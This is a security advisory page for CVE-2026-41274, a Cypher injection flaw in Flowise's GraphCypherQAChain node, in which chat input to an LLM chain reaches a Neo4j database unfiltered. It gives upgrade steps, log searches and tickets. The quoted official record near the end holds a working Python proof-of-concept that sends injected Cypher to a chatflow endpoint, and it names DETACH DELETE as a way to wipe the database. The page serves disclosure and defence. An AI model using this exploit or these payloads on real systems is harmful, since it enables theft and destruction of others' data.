Flowise GraphCypherQAChain forwards user input directly to Neo4j without filtering
What this means
An attacker who can send messages to a vulnerable chatflow can read, change, or delete data in the Neo4j database. This includes stealing sensitive information, breaking the database, or taking control of data that the company relies on.
SecurityElites Manager Brief: the decision in one minute
Flowise versions before 3.1.0 allow attackers to inject commands into Neo4j database queries through chatflows. Any attacker with access to the chatflow can read or delete database data. Update to 3.1.0 or later immediately, and check your database logs for signs of misuse.
| SecurityElites Fix-First Score | 43 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 30 days High severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform or infrastructure team that manages Flowise deployments. |
| Likely effort | About 30 minutes per Flowise deployment: update the npm packages and restart the service. Testing the fix takes another 15 minutes. It may take longer if you run many Flowise instances or have custom configurations. |
Questions to ask your team or supplier
- Which of our Flowise deployments use the Graph Cypher QA Chain node with Neo4j, and are they accessible from outside our company network?
- Do we have recent backups of all Neo4j databases connected to Flowise, and can we restore them quickly if data is corrupted or deleted?
- After we update to 3.1.0, can we confirm that the same user input no longer results in Neo4j data modification?
Message you can forward to the owning team
Security notice: Flowise GraphCypherQAChain forwards user input directly to Neo4j without filtering (CVE-2026-41274)
Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: upgrade to flowise 3.1.0, flowise-components 3.1.0 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-41274-flowise-graphcypherqachain-forwards-user-input-directly-to-neo4j-without/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01584What is at stake in your AI setup
- Knowledge graph data stored in Neo4j: An attacker can read all nodes and relationships used for context in AI chain responses.
- Chat history and user queries: If the Neo4j database stores past conversations, they can be exfiltrated or deleted.
- LLM instructions and prompts: If prompts or configuration are stored in the graph database, they can be read or modified to change AI behavior.
Who is exposed
- Teams running Flowise 3.0.x or earlier with a Graph Cypher QA Chain node connected to Neo4j.
- Services where Flowise chatflows are open to users or external API callers.
- Companies whose Neo4j databases contain customer data, financial records, or other sensitive information.
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| flowise npm | Every version before 3.1.0 | 3.1.0 or later |
| flowise-components npm | Every version before 3.1.0 | 3.1.0 or later |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | Working attack code is public, so expect attacks to follow |
|---|---|
| Where the attacker must be | Anywhere that can reach it over a network, including the internet if it is exposed |
| Account needed | An ordinary user account |
| Does a person have to do something | No. It works without anyone clicking or opening anything |
| How hard it is to do | Easy. It works reliably once the attacker can reach it |
| Risk of: data being read | High |
| Risk of: data or settings being changed | High |
| Risk of: the service being taken down | High |
| Can attackers automate it at scale | Yes, according to CISA |
| How much control an attacker gains | Total control of the affected software, according to CISA |
Read from the official severity rating: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Kind of coding mistake
- CWE-943
If you cannot upgrade today
- Until you can update: Disable or remove all Graph Cypher QA Chain nodes from active chatflows. Use alternative nodes that do not query Neo4j directly.
- Restrict access to Flowise prediction endpoints: Use network firewall rules or API authentication to allow only trusted internal services to call the chatflow. Require API keys and rotate them frequently.
- Isolate or restore the Neo4j database: If you suspect an attack has occurred, restore from your latest clean backup and monitor for further changes.
Signs it may already have been used against you
- Neo4j query logs: Look for queries that contain DETACH, DELETE, CREATE, or SET commands that do not match your chatflow's expected behavior. These may indicate injected commands.
- Flowise API logs: Search for requests to the `/api/v1/prediction/{flowId}` endpoint that contain special characters or Cypher syntax (parentheses, brackets, curly braces, semicolons). One message per request is normal; multiple queries in o
- Database changes: Compare your Neo4j schema and node counts to recent backups. Missing nodes, unexpected relationships, or deleted labels suggest an attack.
- Unusual authentication or errors: Check for repeated 401 or 403 errors to the Neo4j API, or successful queries from API keys that are normally inactive.
Log searches to start from
Flowise API requests to prediction endpoint (adapt index and field names to your logs)Elastic
index=flowise_logs path:*prediction* | stats count by user, path, response_codeNeo4j Cypher queries containing modification commands (adapt sourcetype and field names to your logs)Splunk
sourcetype=neo4j_query | regex query="(?i)(DETACH|DELETE|CREATE|MERGE|SET)" | stats count by query, userWritten with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.
SecurityElites Fix Guide: step by step
- Find all Flowise and flowise-components installationsList npm packages in your project or container. Run `npm list flowise flowise-components` in each Flowise directory. Record the installed versions.
- Identify chatflows using Graph Cypher QA ChainCheck each Flowise deployment for chatflows that include a Graph Cypher QA Chain node. Look in the chatflow configuration files or the Flowise UI. Note which flows connect to Neo4j databases.
- Check if Neo4j is exposed to untrusted usersConfirm whether the chatflow prediction endpoint is reachable by people outside your company or by users who should not access the database. Check firewall rules, authentication settings, and API documentation.
- Back up the Neo4j databaseCreate a full backup of each Neo4j instance connected to Flowise. Use `neo4j-admin dump` or your backup tool. Store the backup in a safe location separate from the main database.
- Update flowise and flowise-components to 3.1.0 or laterIn each Flowise project directory, run `npm update flowise@^3.1.0 flowise-components@^3.1.0`. If you manage Flowise in containers, update the base image or Dockerfile to pin version 3.1.0 or later.
- Restart Flowise servicesRestart each Flowise process or container to load the updated code. Confirm the service starts cleanly by checking logs for errors.
- Verify the update succeededRun `npm list flowise flowise-components` again and confirm both packages show version 3.1.0 or later. Check the Flowise UI or logs to confirm it is running and accepting requests.
- Review access logs for suspicious queriesCheck Neo4j query logs and Flowise API logs from before the update date. Look for queries with unusual Cypher syntax, DETACH DELETE commands, or multiple queries from a single user in a short time. If found, escalate to your security team.
How to confirm it is fixed: Confirm both flowise and flowise-components are version 3.1.0 or later by running `npm list flowise flowise-components`, and verify that the Flowise service is running without errors.
SecurityElites Quick Fixes: copy and paste
Upgrade flowise with npmupgrade
npm install flowise@3.1.0
npm ls flowiseUpgrade flowise-components with npmupgrade
npm install flowise-components@3.1.0
npm ls flowise-componentsCheck installed Flowise and flowise-components versionsfor this issue
npm list flowise flowise-componentsUpdate Flowise packages to 3.1.0 or laterfor this issue
npm update flowise@^3.1.0 flowise-components@^3.1.0Pass values as parameters (Python)general hardening
cur.execute("SELECT * FROM items WHERE id = %s", (item_id,))Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
Let your AI coding assistant do the upgrade
Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.
Instruction for your coding assistant
You are helping me fix a security vulnerability (CVE-2026-41274) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n - flowise (npm): must be 3.1.0 or later
- flowise-components (npm): must be 3.1.0 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## Flowise GraphCypherQAChain forwards user input directly to Neo4j without filtering (CVE-2026-41274)
**Severity:** High | **SE Fix-First Score:** 43/100 | **Fix window:** Within 30 days
**Record:** SE-AIV-01584 https://securityelites.com/ai-vulnerabilities/cve-2026-41274-flowise-graphcypherqachain-forwards-user-input-directly-to-neo4j-without/
### Why this matters
An attacker who can send messages to a vulnerable chatflow can read, change, or delete data in the Neo4j database. This includes stealing sensitive information, breaking the database, or taking control of data that the company relies on.
### What to do
1. Find all Flowise and flowise-components installations
2. Identify chatflows using Graph Cypher QA Chain
3. Check if Neo4j is exposed to untrusted users
4. Back up the Neo4j database
5. Update flowise and flowise-components to 3.1.0 or later
6. Restart Flowise services
7. Verify the update succeeded
8. Review access logs for suspicious queries
Full steps: https://securityelites.com/ai-vulnerabilities/cve-2026-41274-flowise-graphcypherqachain-forwards-user-input-directly-to-neo4j-without/
### Done when
- [ ] flowise is at 3.1.0 or later everywhere it is installed
- [ ] flowise-components is at 3.1.0 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm both flowise and flowise-components are version 3.1.0 or later by running `npm list flowise flowise-components`, and verify that the Flowise service is running without errors.
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Related vulnerabilities
In the same software
- Flowise CSV and Airtable agents allow data theft via prompt injection Critical · CVE-2026-73487
- Flowise can run commands and read files outside its sandbox Critical · CVE-2026-119978
- Flowise OAuth2 token endpoint open to anyone, leaks access tokens Critical · CVE-2026-70478
- Flowise CSV Agent can run Python code sent by attackers Critical · CVE-2026-70477
- Flowise allows authenticated users to change other organizations' billing High · CVE-2026-70476
- Flowise allows any authenticated user to change execution records without permission check High · CVE-2026-70475
The same kind of mistake in other AI tools
- n8n Source Control can inject SQL through malicious Data Table files High · CVE-2026-44792
- n8n Data Table Get node allows SQL injection in authenticated workflows High · CVE-2026-33713
- n8n Merge node SQL injection lets authenticated users read files and run code Critical · CVE-2026-33660
- n8n Merge node allows authenticated users to run code and write files Critical · CVE-2026-27497
- Flowise can run harmful database commands when importing chatflow files High · CVE-2025-71332
Change history
- 16 Apr 2026: Made public
- 3 Dec 2026: Published
Official record
## SummaryThe GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.## Vulnerability Details| Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) |## PrerequisitesTo exploit this vulnerability, the following conditions must be met:1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server 2. **Vulnerable Chatflow Configuration**: - A chatflow containing the **Graph Cypher QA Chain** node - Connected to a **Chat Model** (e.g., ChatOpenAI) - Connected to a **Neo4j Graph** node with valid credentials 3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`)<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />## Root CauseIn `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:```typescript async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping } ```## ImpactAn attacker with access to a vulnerable chatflow can:1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields 2. **Data Modification**: Create, update, or delete nodes and relationships 3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database 4. **Schema Discovery**: Enumerate database structure, labels, and properties## Proof of Concept### poc.py```python #!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943)Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """import argparse import json import urllib.request import urllib.errordef post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace")def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args()payload = { "question": args.injection, "overrideConfig": {}, }headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}"url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}")if __name__ == "__main__": main() ```### Test Environment Setup**1. Start Neo4j with Docker:** ```bash docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest ```**2. Create test data (in Neo4j Browser at http://localhost:7474):** ``
Weakness type: CWE-943
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-41274For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 3 Dec 2026. Read the vendor advisory before changing a production system.